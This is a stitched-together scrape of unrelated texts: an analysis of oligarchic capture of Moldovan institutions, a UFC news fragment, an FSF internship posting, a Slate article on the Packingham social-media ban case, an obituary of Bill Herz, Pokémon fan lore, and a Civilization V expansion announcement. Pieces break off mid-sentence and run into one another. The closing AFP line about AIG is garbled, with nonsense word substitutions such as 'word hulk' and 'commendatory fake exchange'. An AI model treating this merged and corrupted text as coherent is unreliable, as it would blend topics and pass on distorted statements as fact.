A strict division of the areas of influence within state institutions serves the interest of the leaders of the two major coalition parties – Vlad Filat, the leader of PLDM, and Vlad Plahotniuc. Both Filat and Plahotniuc are billionaires[5] who developed their fortunes back in the 1990s, often in dubious circumstances. From their perspective, control over key state institutions is mainly a method of securing their business dealings and of creating the best possible development conditions for their enterprises. On the other hand, this control brings them financial benefits, made possible due to their influence over state-owned companies (banks in particular), due to their participation in public tenders and privatisation processes, and to their access to loans and subsidies granted by foreign entities[6]. Furthermore, they have also used their control over state institutions to maintain their position in power circles. This was clearly visible in the course of parliamentary elections organised in November 2014. By exerting influence on the Central Electoral Committee and the judiciary, the ruling parties managed for example to eliminate one of the main political competitors, the Patria party led by Renato Usati, from the electoral race just three days prior to polling day[7].
One example of how control of state institutions can be a source of significant financial profits for the leaders of PLDM and PDM is seen in the illegal transfer of over 1 billion euros from three Moldovan banks: Banca de Economii, Banca Sociala and Unibank. Recently, these banks granted multi-million loans to companies associated with Ilan Shor (a Moldovan-Russian businessman), Vlad Filat, and probably also Vlad Plahotniuc. A large portion of these loans was considered ‘unpayable’ from the very beginning. As a consequence, since it was impossible to collect the debt, the banks involved in this illegal practice began to rapidly lose financial liquidity. To rescue them, in November and December 2014 the National Bank of Moldova (NBM) introduced state supervision of the three banks and decided to launch bail-out programmes amounting to hundreds of millions of euros shifted across from currency reserves. This practice would have not been possible without the involvement of the coalition leaders. The NBM, whose task is to supervise financial transfers in the country’s banking sector, must have been aware of the operations of dubious profitability being carried out by these three banks. The reason behind the lack of action to stop this practice and maintain financial liquidity was most probably political. It seems to have been a result of political pressure exerted by Filat and maybe also by Plahotniuc[8].
Practices present in Moldovan politics in recent years indicate that a process of appropriating the state by interest groups centred around the two main political leaders is under way. This represents a typically post-Soviet model of oligarchy in which the country’s most powerful figures try not so much to interfere in the state’s politics by exerting economic pressure, but are rather focused on exercising immediate power to secure their business dealings. If, for some reason, they do not want or cannot hold major public posts themselves, they nominate to individuals these posts who have no political background and are dependent on their support. An example of this involved the changes in the office of prime minister and the speaker of parliament in May 2013, as well as after recent parliamentary elections[9]. Despite the fact that the most prominent public posts are held by other individuals, in practice it is Vlad Filat and Vlad Plahotniuc who make the key political decisions, often by directly instructing specific ministers or heads of state institutions[10].
This type of oligarchic system is very unstable; this was evident during the final five years of the pro-European coalition’s rule. This instability is based on a paradox. On the one hand, the two main coalition leaders, Filat and Plahotniuc, are one another’s business and political rivals involved in a permanent contest to expand their influence within the current system and to diminish that of their rival[11]. On the other hand, though, they are interested in maintaining power and preserving the current system. This has forced them to devise a certain modus vivendi to be able to function within one government coalition. Moreover, they do not intend to admit other parties and anti-government politicians to power, since these could make attempts to change the current oligarchic system. For this reason, both Filat and Plahotniuc preferred to build an informal coalition with the Communists (who are interested in preserving the system in order to be present in it) rather than invite liberals or Leancă to power.
A new political party: a challenge to the coalition?
In the immediate future, a new political party is likely to appear on the Moldovan political scene. It will be established by former prime minister Iurie Leancă. According to his announcements, this is going to be a pro-European project intended to be an electoral alternative for PLDM and PDM. The new party will most likely be called the Moldovan Popular European Party[12]. Several politicians supporting Leancă have already expressed their intention to take part in the project. They include Eugen Carpov (former deputy prime minister for reintegration, who left the party alongside Leancă), Victor Lutenco (former head of the office for relations with Moldovans living abroad) and Valeriu Chiver and Iulian Groza (former deputy foreign ministers). The new project can also probably count on support from the civic initiative Dignity and Truth. It was created on 24 February 2015 by prominent Moldovan civil rights activists, analysts and columnists. This initiative has been created in protest against the actions carried out by the current authorities which caused a “total subordination of state institutions to the interests of political clans” and an “unprecedented threat to the financial and banking sector”[13].
The future of the new party created by the former prime minister is very unclear, though. Despite the fact that of all politicians Leancă enjoys the highest level of support within Moldovan society (a 9.6% advantage of trust over distrust)[14], he is more of a diplomat and a bureaucrat than a charismatic political leader able to build a strong party. This is one of the reasons why the current level of support for Leancă’s political project is approximately only 6,2%[15]. The new party’s source of funding has also been called into question. Without funding, the party will not be able to compete with PLDM and PDM sponsored by Filat and Plahotniuc. Leancă has announced that the funds to cover the party’s activities will mainly be raised from its supporters in the form of voluntary donations; this, however, will not be enough. It is not inconceivable that Leancă will receive financial support from Moldova’s former prime minister and billionaire Ion Sturza. However, according to what Leancă said, Sturza is not going to be a member of the party. Another serious problem for the prospective party led by Leancă might be restricted access to mainstream media, which is largely controlled by Vlad Plahotniuc or individuals associated with PLDM[16]. It should be expected that PLDM and PDM will be making attempts to discredit Leancă in the eyes of society. The first such attempt was a statement by Vlad Filat made on 12 March 2015, in which he pointed out that it was Leancă who signed the lease agreement pertaining to Chișinău airport, which has remained unclear and unfavourable for the Moldovan state[17]. Similarly, he pointed to Leancă as the person bearing political responsibility for the condition of Banca de Economii (Leancă was prime minister at that time). It is likely that PLDM and PDM will try to use their influence in the state administration to hamstring the process of registration of the party or any activity intended to promote Leancă’s initiative.
Five years of ‘Euro-imitation’
From the perspective of the parties currently in power in Moldova, European integration is interesting as an idea which makes it possible to attract the pro-European electorate. It is also considered a source of aid funds and loans. However, the real dimension of European integration, involving modernising the country by way of implementing necessary reforms, is not favourable for the coalition leaders because it poses a threat to their business dealings. This is why, despite five years of rule by a coalition composed of pro-European parties which from the beginning announced their intention to modernise Moldova in the Western style, the country has not been subject to any structural reconstruction concerning how the state institutions operate. Huge aid funds worth hundreds of millions of euros[18] granted by the EU as part of support for reform programmes did not help much. For example, attempts at limiting the scale of ever-present, endemic corruption permeating all spheres of life in Moldova – from the judiciary through the financial sector to the schooling system and healthcare – have proved unsuccessful. During the coalition’s rule, the scale of corruption increased further, which is evidenced by a drop of Moldova’s position in the Corruption Perceptions Index ranking list run by Transparency International – from 89th position in 2009 to 103rd in 2014[19]. Only 7% of Moldovans assess the effectiveness of the state’s anti-corruption actions as positive[20]. During the rule of the pro-European parties, the National Anti-Corruption Centre, in place since 2002, which was supposed to be de-politicised and reformed to a degree even larger than during the rule of the Communists, was used mainly as an instrument of wielding political power.
The reorganisation of the |
accepted) the fight with Aldo:
"They [UFC] had called me first on Thursday," Lamas stated. "They had called me up at about 3:30 p.m. Central time and said, 'Obviously Koch is injured and we need to know tonight if you want to take this fight with Aldo? We think you deserve it and we need to redo your contract. We need to get it all done by tonight.'" 'We said 'Yes, yes, yes,'" Lamas stated. "We got my contract figured out and was just waiting on a bout agreement. Then they [the UFC] called at 9 p.m. Central and said they decided to in a different direction with the fight and that's when they decided to go with Frankie."
Lamas is 3-0 in the UFC, defeating Matt Grice, Cub Swanson and Hatsu Hioki after coming over as part of the WEC merger. That's certainly a run worthy of a title shot, but he simply isn't as big of a fight as Edgar, so it's not hard to understand the promotion's decision.Caucus projects include: providing resources for projects and organizations wishing to improve their recruitment and retention of women, raising the profile of women who are currently participating in the promotion, improvement or development of free software, and bringing free software to girls and young women. We're especially interested in candidates with good writing skills, a strong commitment to free software, and a genuine desire to see an increased number of women involved in the free software movement.
Duties include:
Writing, creating promotional materials, researching funding opportunities, making connections with like-minded organizations, and generally helping us promote the Caucus.
You can either work in the Free Software Foundation's Boston office or remotely. This posting is hosted by the FSF with supervision by an individual member of the Caucus. All candidates will be considered regardless of gender, race, color, national or ethnic origin, religion, age, handicap, family status, sexual orientation, veteran status, or any other protected class or group status. This is a 12-week position for the fall, with some flexibility on the start and end times. Please let us know how many hours per week you will have available.
All applicants must be:
open-minded and tolerant of others,
able to work as part of a team, and
interested in the ethical ramifications of computing.
Send a letter of interest and resume with two references by e-mail to hiring@fsf.org. Make sure that your materials are in free software friendly formats (PDF and plain text work well), and include "Women's Caucus Internship" in your subject line. If you can, please include links to sites you've made (personal blogs are okay!), designs or code you've done, and -- most of all -- things you've written. Please include these as URLs, though email attachments in free formats are acceptable too. You will be asked to employ free software tools like; OpenOffice.org, Inkscape, Mediawiki, and GIMP. Be sure to mention if you already have experience with free software!
This position is unpaid. We will complete any documentation that will help you obtain school credit.Illustration by Natalie Matthews-Ramo. Icon by Thinkstock.
On April 27, 2010, Lester Gerard Packingham Jr. posted a Facebook status:
“Man God is Good! How about I got so much favor they dismiss the ticket before court even started. No fine, No court costs, no nothing spent…. Praise be to GOD, WOW! Thanks JESUS!”
This post appears entirely ordinary—something that might show up on your own Facebook feed without raising any questions. But when Durham, North Carolina’s Police Cpl. Brian Schnee discovered it, he applied for and obtained a search warrant for Packingham’s home. A few months later, Packingham was indicted on a felony charge and in May 2012, he was convicted.
The felony charge was not for the traffic ticket he’d avoided—it was for posting about it. In 2002, when he was a 21-year-old college student, Packingham was indicted on two counts of statutory rape for having sex with a 13-year-old girl that he said he was dating without knowing her age. He was convicted on one lesser count—“taking indecent liberties with a minor.” Packingham, who had no prior criminal record, received the shortest allowable sentence (10–12 months), though the judge suspended that in favor of 24 months of supervised release, which Packingham completed without incident. Packingham was also required to register as a sex offender. By the time he celebrated the dismissal of his traffic ticket, Packingham had been not in prison, on parole, or on probation for several years.
He was, of course, still required to register as a sex offender. In 2008, North Carolina made it a felony for any person on the state’s sex offender registry to “access” any “commercial social networking website” that the person “knows” does not restrict usage to legal adults. Although the state claims that this law, NCGS §14-202.5, is intended to prevent sexual predators from gathering information about minors, Section 202.5 and related restrictions go far beyond that ostensible purpose and instead, as Slate’s Mark Joseph Stern has observed, work to drive an unpopular and politically powerless group of people out of public life altogether. The approximately 20,000 people on North Carolina’s sex offender registry include people who have been convicted of offenses that do not involve minors or the internet as well as people who, like Packingham, have otherwise served their sentences. But the law does not take this into account. If you’re on the list, and you’re also on Facebook, you can be charged with a felony. There have been more than 1,000 convictions under this law.
The phrase “commercial social networking web sites” likely telegraphs sites like Facebook, Twitter, Instagram, and YouTube, but the law also prohibits a registrant from “accessing” any site that (1) “derives revenue from advertising”; (2) has functions that “facilitate the social introduction of two or more people”; (3) allows users “to create personal profiles, e-mail accounts, or post information on message boards”; and (4) permits access to minors. The result is that virtually any website that has a comment or review function and allows minors to use it may be off limits. Under this definition, a registrant could commit a felony by checking basketball scores on ESPN.com, looking up cold remedies on WebMD, posting a résumé on LinkedIn, or listening to Chopin nocturnes on Pandora. A registrant could be sent to prison for simply trying to read this article, regardless of whether she attempts to engage any other readers in discussion, on the merits of North Carolina’s efforts to banish registered sex offenders from public life—a topic on which the public would likely benefit from receiving the views of registered sex offenders. The class of prohibited sites is so broad and vague that when Packingham’s arresting officer was cross-examined as to how he might advise a confused registrant, Cpl. Schnee testified: “If you have a question about whether you can or can’t do something, don’t do it. The best way for them—for somebody not to get in trouble is to not do something.” In other words, perhaps it’s better for registered sex offenders to avoid the internet altogether.
The Supreme Court recognized the importance of the internet to public life more than 20 years ago. (If you want to enjoy waves of nostalgia, read Justice John Paul Stevens’ description of the internet in a 1997 case, Reno v. ACLU, which includes marvelous references to “computer coffee shops,” “mail exploders,” Prodigy and CompuServe, and “newsgroups.”). And even if the ban were just confined to sites commonly thought of as “commercial social networking sites,” such as Facebook, Twitter, and YouTube, the law would exclude registrants from engaging in some of the most important political conversations and social movements in the world today—think Black Lives Matter, the Tea Party, Indivisible, and the Standing Rock protests (not to mention the vital political communications coming from @realdonaldtrump.)
The parties to this case have not disputed that North Carolina is pursuing a legitimate purpose in protecting children from sexual predators trolling the internet. Nor have they disputed that the state’s internet restriction is “content-neutral”—the law prohibits access to websites without regard to the particular ideas or viewpoints expressed. But to the extent the state infringes on the expressive rights of people affected by these protective measures, the First Amendment requires that the law be “narrowly tailored” to achieve the state’s purpose. It cannot bar a substantial amount of expression unrelated to the protection of minors from sexual predation.
Packingham made an unsuccessful challenge to the validity of Section 202.5 before his trial and was subsequently convicted by a jury of criminally accessing Facebook. But in August 2013, the North Carolina Court of Appeals overturned his conviction on First Amendment grounds, ruling that the law swept far too broadly. It noted that the internet restriction applies regardless of whether an offender had been convicted of a sexual offense involving a minor, previously used a social networking site to target children, or presented a continuing threat of harm to minors. Equally important, the Court of Appeals held that the internet restriction was vague and overbroad, observing that registered sex offenders “may be prohibited from conducting a ‘Google’ search, purchasing items on Amazon.com, or accessing a plethora of Web sites unrelated to online communication with minors.” To borrow an analogy from Justice Stevens’ opinion in Reno, prohibiting all registrants any access to vast portions of the internet because there’s a threat that a subset of dangerous registrants might use that access improperly “burn[s] down the house to roast a pig.”
But in November 2015, the North Carolina Supreme Court disagreed. It held Section 202.5 “constitutional in all respects.”
The U.S. Supreme Court issued its decision to review this case on Oct. 8—which now feels like a lifetime ago—under circumstances generally indicating an intent to strike down Section 202.5. The tone of Monday’s oral argument revealed that in the interceding months, the merits of North Carolina’s case have not improved. In fact, as Justice Elena Kagan observed, access to commercial social networking sites may now be nothing less than a civic imperative, given the president’s preference for communicating with the public over Twitter.
The justices also worked over the state’s counsel on the vaguely worded statute and its confusing exceptions. At one point, Kagan asked Robert Montgomery, counsel for North Carolina: “[S]o you mean that there’s a constitutional right to use Snapchat, but not to use Twitter?” Justice Sonia Sotomayor also challenged the flimsy evidentiary basis for applying the social networking restriction to all sex offenders, noting that generalized evidence that some sex offenders may be prone to recidivism under some circumstances does not justify an inference that “every sexual offender is going to use the internet to lure a child.”
Looming in the background of the court’s consideration of this case are the Trump administration’s recent attacks on the First Amendment, minority rights, judicial independence, and the rule of law itself. Though it’s a much different First Amendment context, President Trump’s executive order restricting travel by Muslims from seven countries is also a grossly overbroad restriction on a politically vulnerable minority that was enacted thanks to fearmongering, not evidence. As lower federal courts enjoined the executive order, President Trump attacked the legitimacy of those judges—who then received threats to their safety—while members of his administration implied that the courts had no right to question the president’s judgment on matters of national security. Factor in Trump’s claim that he was championing free speech when he threatened to withhold federal funds from UC–Berkeley after it canceled an event featuring Milo Yiannopoulos, and his promise to “open up our libel laws” to permit more lawsuits against the press, and it’s clear that the president’s guiding mode of constitutional interpretation is not originalism, but solipsism. The president thinks the First Amendment protects speech and beliefs he likes, but not those he doesn’t. This case thus provides an opportunity for the Supreme Court to brace the judiciary for its upcoming battles with the Trump administration and to provide a nervous country with some assurance that the protections of the First Amendment remain as robust as ever and available to all.
Go to any protest these days and you’re sure to see a sign invoking the words of Martin Niemöller, a Lutheran pastor who opposed the Nazis during the Second World War by famously stating, “First they came for the Socialists, and I did not speak out—Because I was not a Socialist.” The message is simple but powerful: Speak up for the rights of those on the margins of society or you might yourself on the other side.
Court battles over the First Amendment have been frequently fought on behalf of unpopular groups as a means of preventing encroachment upon the rights of the rest. Justice Stephen Breyer recalled this heritage during argument when he pointed to criminal laws directed at prohibiting communists from advocating for the overthrow of the United States government that had been struck down 60 years ago. It is difficult to imagine a less popular group than registered sex offenders. But speaking up for their rights now is critical at a time when the administration has shown its eagerness to brand people with whom it disagrees as “enemies” and to strip rights from politically vulnerable groups like transgender students. And it has the fringe benefit of being a good strategy for making sure “they” don’t come for you too.
Disclosure: The author of this post is also one of the authors of an amicus brief filed in this case on behalf of the Electronic Frontier Foundation, Public Knowledge, and Center for Democracy & Technology in support of Packingham.Bill Herz, the last surviving crew member of Orson Welles’s mock “War of the Worlds” newscast, which terrified American radio listeners in 1938 with vivid bulletins warning Newark residents to evacuate as invading Martians incinerated central New Jersey, died on May 10 in Manhattan. He was 99.
The cause was complications of pneumonia, said Bill Kux, a cousin.
Mr. Herz, who worked on other radio and theater productions as stage manager and casting director for Welles’s Mercury Theater company, staked one additional claim to fame. Until about six months ago, he had been a regular customer at Sardi’s restaurant, the caricature-bedecked gathering place for celebrities and starry-eyed tourists in the theater district, for some 82 years — beginning in 1933, just six years after it opened.
That longevity alone distinguished him as a bon vivant in a shrinking cadre of original Broadway personalties. But he was also singled out periodically in the wider world as a relic of a bygone era, when a bogus radio news broadcast could provoke panic as war was brewing in Europe — however much that hysteria may have been overstated then and since.
Welles’s CBS show “The Mercury Theater on the Air” presented an adaptation of the H. G. Wells novel “The War of the Worlds” for its Halloween episode on Sunday, Oct. 30, 1938. The live hourlong program began with an updated prelude to the original novel eerily warning that superintelligent beings had been coveting “this Earth with envious eyes.”The Pokémon Scizor is the fully evolved form of Scyther and is considered just as deadly. The Creature is born from a Pokémon trade whilst Scyther is made to hold the item known as the metal coat. The fact that these Pokémon are created solely out of trades and upgrades make them practically impossible to find in the wild.
Because of this fact, the Pokémon are prized amongst trainers, noting the Bug catching boom of 96 when Scyther were captured in enormous amounts for its metallic cousin.
When traded, Scyther undergo their evolution in typical insect Pokémon fashion. The metal coat bonds with their biological structure as they travel and forces their exoskeletal structure to mutate. This causes them to cocoon for several days, their hide and structure hardening and gaining a sheen as it develops. The skin, once hard but still vulnerable to harm, has become organic metal, incredibly strong and durable, but also far heavier than the original Pokémons light frame. Their evolution reduces their speed by a fair amount, but it makes up for this in many more ways.
Scizor are known for their obvious claw like appendages, allowing them to not only crush and cut, but grasp objects with amazing dexterity. A Scizor can pluck a berry from a branch and not crush it with as much ease as it can slice a whole tree trunk in two. The Pokémon biological structure has now evolved stronger wings, enabling it to still fly whilst retaining its massive weight increase, along with harder defences and stronger physical attacks. Their wings give off an iconic buzzing noise when in flight, noting other Pokémon of their arrival, thick and heavy, like a large plane.
Being considered a man made Pokémon of sorts, it has been observed in a natural and trained environment by experts with various opinions. Some believe that the Scizor are incapable of surviving in a social group when released, due to their aggressive nature and conflicts with their former evolved forms. Steel Pokémon often have this issue.
Other scientists believe that they would do well as patriarchal or matriarchal leaders of groups of Scyther, their natural prowess being useful in their social structure. But Scyther are usually considered solitary hunters, only gathering en masse when breeding season arrives. However, as noted, these seasons are known for their deadly effects. Scizor, when trained correctly, are quiet, but fierce Pokémon, striking with deadly precision and being able to cut, slash and jab in milliseconds of being released, despite their bulk and size. They are not known for their affection, but are valuable allies and are famed for their quiet devotion to their trainers if properly treated.
Despite their cool, outward appearance, they are not to be taken lightly, along with their younger forms, they are considered extremely dangerous.
Alakazam are elders of the Abra species, their fully aged forms. The creature, through evolution, has become taller, stronger, and lost the shaggy tail of its previous form. The aged creatures have developed incredibly powerful psychokinetic and telepathic abilities, far surpassing those of their young. In their tribal colonies, they sit for hours on end meditating, observing the universe around them and honing their skills. Their snouts have now become elongated and, in males, have grown thick tufts of hair that resemble moustaches. They also continue to adorn themselves with items and trinkets of value, often passed down from generation to generation, from elder to elder. Some Alakazam possess items that date back hundreds of years, and they follow a strict and fierce code of honour within their societies. Males and females alike become elders, but it is usually males that become grand elders, being that they live longer lives. These Elders can live up to and over200 years according to specialists and they boast phenomenal gifts, ranging from psychic force to the ability to see through time and space. The older these creatures get however, the frailer they become, relying on levitation and their psychic abilities to aid them in their travel. It is a common myth that there are Alakazam whose feet have not touched the ground in decades, in even sleep.
Unlike their younglings, Kadabra, The Alakazam rarely leave their social groups, preferring to stay and look after the new-born and teach them in their ancient customs and traditions. They also carry a set of spoon like knives that are used in rituals, often adorned with berries, feathers, nuts that they shake frantically whilst chanting.
Males and females mate for life and it is usually the males that care for the young, but it is down to speculation for whatever reason this is. The social groups keep themselves well hidden and, being how intelligent they are, are rarely found in the open. Because of this, their tribal culture is uncertain to scientists, and open to many theories. That they worship a deity of some sort, that they are all psychically linked as one mind and that they are possibly connected to even more powerful Pokémon. Being that the Psychic as a Pokémon type are often connected telepathically, this is not such an absurd statement to make.
Alakazam are almost impossible to catch in the wild, and as such are left open to many mysteries. But when trained from Abra, they are intelligent, aloof, but fierce in battle, overwhelming their foes with their mental prowess, favoured by Psychic trainers across the globe.
Gengar is known throughout the Pokémon world as the iconic ghost type. Known for its deathly grin, its staring eyes and its formidable powers of trickery and shadow manipulation, it is truly a force to be reckoned with. When Haunter, the adolescent form of Ghastly, begin to feed on shadows with age, their ectoplasmic form begins to harden. Ghastly are known for their almost completely gaseous forms, and haunter, for its bony appendages and half skull like face. This takes s a final form in Gengar, when it solidifies the majority of its facial structure into a skull of sorts. Then, coating itself in thick ghost energies and ectoplasm, growing what appear to be ears, arms and hands that are capable of amazing dexterity.
Gengar are able to melt themselves into darkness at will, an incredibly useful ability when concerning the predators hunger. Gengar feed on shadows, but they also gather a taste for flesh. They do not eat much, but there is no denying their appetites for smaller Pokémon, rattata, pidgey often go missing in the darkness of the cities. The ghost Pokémon do not dwell in the wild, preferring to live in densely populated areas such as cities and towns, where they are able to consume the shadows of the living, along with trick and scare their prey, bringing them great delight. They are known for their quick, agile speed along with their special attacking force, favoured by Morty, the gym leader of Ecruteak city of the Johto region. Famed for their spine chilling laughter as they slink in and out of the walls, terrifying their opponents, The Pokémon have garnered a cult following trend in the young populace. It isnt hard to see why.
Gengar breed in a peculiar fashion. They do not seem to mate as regular Pokémon do, but this is often the case with Ghost Pokémon. Instead, when two Gengar meet, they simple join their bodies together briefly, using their ghostly energies and consciousness to breathe life into a new Ghastly, forming its own body over a period of days. When the new-born is able to keep its energies together, it finds the nearest shadow and hides there for around two weeks, feeding slowly off the energy that the darkness gives them. Gengar is unique out of its forms that it can survive in daylight without harm. Ghastly and Haunter prefer to dwell within darkness, their metaphysical bodies being burnt by strong light sources.
Gengar are mischievous even when trained. They are loyal but still prefer to sneak up on their trainers, pull pranks and even scare them when the mood takes them. It is because of this reason that they must selected by the right trainer, it takes a strong hand and an even stronger will to train and bluntly, put up with their antics. But their power often shows the benefits of having a Gengar on ones side, a powerful creature of the darkness and the face of the Ghost populace in many regions.
Blastoise are adult Squirtle, one of the three starting Pokémon issued to new trainers In the kanto region. Blastoise are immense Pokémon, incredibly powerful, loyal and capable of vicious behaviour. However, they are noted for being placid and playful when looked after, it is only when they feel they or their trainer is being threatened that they reveal their other side.
Being that they have grown to such a size, Blastoise have far greater attacking power than their young, the once soft, smooth shell of youth has grown into a thick, craggy defence mechanism that repels even the hardiest of attacks. Since their preliminary stages, the neck has elongated, able to retract and jut out at will, allowing for incredible biting abilities that, when combined with the Pokémons sharp beak-like maw, produces devastating attacking force. The large, fluffy ears and tail of the previous evolution have been shed, developing into more streamline, lizard like features. The most prominent development however, is that the Blastoise has grown a pair or siphon like growths just under its shell. Curiously, a large gap grows between the Pokémons neck, and the tip of its shell, leading scientists to wonder why it doesnt grow closer together for inspection.
However, when observed, it is noted that Blastoise, like their evolutionary line, need to take in water before they can dispel it, like most water Pokémon. Blastoise Are often seen mulling around on dry land or at sea, but can use various attacks on either. Under study, it was noted that on land, the Pokémon prefers to conserve water to keep itself hydrated, preferring to tackle, or bite or use its jutting spikes that have grown from the shell. The cannons function with the shell itself, which is a biological wonder in its own right. Tough, cartilage like muscles form the cannons, which can also be retracted back into the main part of the carapace, retracting so far in fact, that they turn inside out and become siphoning tools. When in water, these ports intake a vast amount of water, which is stored in the shell and either slowly absorbed by the skin, or used for attacks when forced, under high pressure, through the cannons, which can be focused to form jets of water that are powerful enough to punch through steel.
It is also noted however, that the Pokémon becomes significantly heavier when carrying large amounts of water, and will usually resort to quadruped travelling when under such strain. Yet when empty, it often lumbers on two legs, allowing for slashing attacks with the sharp claws it has now developed. Proficient at both forms of travel, it is an incredibly adaptive Pokémon when it needs to be. Males are noted for having far thicker shells, heavier growths and spikes, and generally being more aggressive. The females are, however, the more protective of their young, as it they who stay with them until puberty.
As a starting Pokémon, they, like Charizard and its evolutions, are noted for their advanced learning curve, and that a trainer must adapt and learn to control them as they themselves grow. The more passive of the two, Blastoise is nonetheless a ferocious enemy to come across.
Dragonite are titans amongst Pokémon. The fully grown forms of Dragonair have finalized their wings, sprouting heavy but lithe limbs thats compliment their streamline, elegant bodies. Dragonite are power houses, able to use a plethora of different attacks, ranging from electrical, to water based and even fire based, along with their obvious dragon based abilities.
Dragonite, despite their ferocious appearance, are placid, intellect and helpful creatures, guiding sailors lost at sea when lost and playfully leaping out of the ocean near to ships, taunting trainers with its majesty. Its colouration has changed since Dragonair, being that it is now considered one of the apex predators of the ocean and sky, utilizing both in its day to day life. When swimming, it clamps its wings closely to its sides, using its massive, rudder like tailfin to propel itself through the water at phenomenal speeds, using its head and neck to guide itself to whatever prey it may come across, using its wing appendages to jut out at the last moment, steering with deadly precision through the water. They are also capable of launching themselves from the water into flight, a rare ability for dragon types, who usually seek warmer climates and so avoid the sea. Amongst their newfound limbs, the dragonite garners only one true weakness, being its speed when on land.
Being a creature designed for aerial and aquatic proficiency, it does not surprise scientists that its prowess upon dry land is somewhat lacking, almost cumbersome. Their bodies are long and heavy, designed for aerodynamics usually and when on land, it needs all 6 of its limbs to move at any speed at all. Using its small forearms, the Pokémon walks as a quadruped, using its wing hands to reach forward further that its arms can reach, grasping at rocks to hoist and pull itself onwards. Along with this, Dragonite have been known to scale cliff sides in search of food or nesting spots, but this is considered a rare occurrence.
The dragon Pokémon also grows a set of bioluminescent lures at the base of its skull, able to discharge electricity along with attract prey. It is believed that when hunting, the Pokémon remains hidden in the depths of the ocean floor, flooding its lures with electrical pulses, illuminating just enough to attracted prey before lashing out with its incredibly powerful jaws.
Dragonite have never been caught in the wild, given their near legendary status, and are incredibly hard to train (along with the fact that even at their youngest form, Dratini, are incredibly rare in the wild) Used seldom by trainers but favoured by the Champion Lance, who uses several to greet challengers. As mentioned, their near legendary status gives them a ferocious and terrifying presence in the face of battle, being adept at nearly all forms of combat, with very few weaknesses.
Dragonite mate for life and are highly social animals, living in great clutches of up to three to four adults, that can grow to immense sizes (the largest on record being nearly 45 ft. from snout to tail) and a brood of up to 20 young dragonair and dratini. Given the rarity of the creatures, only once such clutch has been documented. They mate for life within their pods, but males are dwarfed by females, who are far more protective and aggressive than their male counterparts, averaging 30% larger in most cases.
Young dratini are born live surprisingly, when most dragons lay eggs, and are nurtured by their mothers and fathers alike for up to 7 years, which is when most either evolve into adolescence, or split off to find their own clutch or join another. It is usually the case that Dratini stay with their clutch, hence their rarity in the wild. Dragonite are, however, fiercely territorial. It has been known that they have had massive battles with Lone Gyarados in the wild, along with other large aquatic Pokémon such as tentacruel over feeding grounds. These battles can last days, especially if the Dragonite is alone; being that it feels the utter compulsion to defend whatever young may be in the area. Despite their rarity, When in distress, Dragonite are never far away from each other, leading scientists to believe they may have some form of telepathy or supernatural empathy that bonds them together for life. Depression often follows a clutch when a member is killed.
When reared from youth, Dragonite are one of the most reliable partners in the Pokémon world. Highly intelligent, protective and with endless powers and abilities, it is little wonder why they have garnered such a massive following in the Pokémon community. The dragon type, already considered exotic and powerful, is only empowered by this titan, a beautifully elegant, gentle giant, with a list of legends and myths surrounding it.
Magikarp are considered some of the weakest Pokémon in the world. Inelegant, powerless and unable to attack or defend with any prowess, it is little wonder that they are heavily fed upon by other Pokémon and humans alike. However. There is untapped potential deep inside them when they grow.
Magikarp do not evolve like regular Pokémon over time, but are only capable of doing when they feel threatened or abused, their tiny minds going into a state of frenzy and berserk rage that triggers their mutation. Gyarados are born from a state of fury and madness in these small fish Pokémon and the result of this is an incredibly wild and fierce creature, known by many for its destructive and often murderous intent. When Magikarp are forced into this state of panic, their bodies secrete a special growth hormone (the same that is applied by scientists nowadays for the benefits of rare candies) that causes a massive chain reaction in the Pokémons biological and anatomical structure. Even over a number of hours, the Pokémon can go from being 3 ft. in length, to over 30, some recorded even being faster.
It is also an incredibly painful experience for the Pokémon, further adding to its berserk rages that it is known for. However, this is not to say it is un-trainable. On the contrary, if trained from a young age, Gyarados are known for their incredible power and the usefulness in the field. It is believed by scientists that whatever feeling the Pokémon has for the trainer at the point of evolution, will stay with it for the rest of its life, being that Gyarados, whilst cunning and powerful hunters, and not particularly intelligent, often working themselves into rages without much reason. Because of this reason, Gyarados can either be ferociously untameable to a poor trainer, or utterly devoted to a good one. For only the most caring of trainers are able to train these leviathans once fully grown. It has become common practice to register yourself at the local Pokémon centre when attempting to evolve a Magikarp for this reason.
In some sad cases, Gyarados have had to be put down because of poor training, unable to fully comprehend their anger, going into massive rages that can decimate buildings.
Biologically, Gyarados are an interesting species, with a maw of sharp fangs, incredibly eyesight and smell and a set of antennae used specifically for hunting, it is little wonder why they thrive in the wild. They have the ability to wrap themselves around prey and crush them with an incredible amount of force if they chose to do so, along with being able to detach their jaws and swallow large prey like Arbok. They also have access to a myriad of elemental powers aside from tis native water, and, despite its type rating, is considered a powerful dragon. Gyarados live in deep water in most cases, but smaller ones are also present in large bodies of water and lakes. There have been numerous legends surrounding the appearance of the famed Red Gyarados of the lake of rage, a popular tourist attraction. Whilst shrouded in myth and magical properties, this is simply a gene defect that occurs when the Magikarp grows too quickly, unable to mutate its scales into the common blue colour of its form.
They are however, prized amongst trainers, despite what it means to have a furious sea monster at your side. Caution is advised.
but pokemon belongs to...you know...japan...
UPDATED and basically finished. The pokedex entries have now been added below. In terms of the picture, i have updated the face, added little details such as scales, glitns of light and other bits and bobs, and i feel it looks beytter for it. Any comments, thoguht or friendly crits would be appreciated, but ultimatley its down to the client if he likes it or notThanks so much for the amount of support already garnerd guys!follow me on tumblr! i shove all my sketches and cool stuff on thereThought you were finished with Civilization V just because you've already put 500 hours into it? Ha! Think again. Today, 2K Games revealed that an expansion, entitled Sid Meier's Civilization V: Gods & Kings, is set for a late spring 2012 release. It comes with an absolute Caravel-load of new content, including nine new wonders, nine new playable civilizations, and a completely reworked combat system. And while those features sound substantial (because, well, they are), the biggest additions are religion and espionage.
2K says that religion is "quite possibly the most requested major addition to the game is coming in the Gods & Kings expansion." From the sounds of things, religion is going to be added in a big way, with a new "Faith" resource that will allow players to found their own religion. This will infiltrate every element of the game, including city-states, which will have their own religions that interact with yours in interesting ways.
Speaking of infiltration, diplomacy has been enhanced as well thanks to the addition of espionage. Now you'll be able to send spies that can steal advanced tech, influence city-states, and even keep watch other cities.
An enhanced AI and combat system wraps up the list of features for the expansion, making this something Civ fans are likely going to want to keep their eyes on. We’re already brainstorming the possibilities of being able to found our own religion – hopefully it’s expansive enough so that we can name the deities? We can see it now: all hail our lord and savior, Bobby Kotick!
The expansion is due out late spring. You can check out some images below, or hit the official website for the full press release.NEW YORK (AFP) –
Two former executives during US word hulk AIG certified Friday to commendatory fake exchange that masked a company’s financial health, finale a 12-year justice conflict in New York.
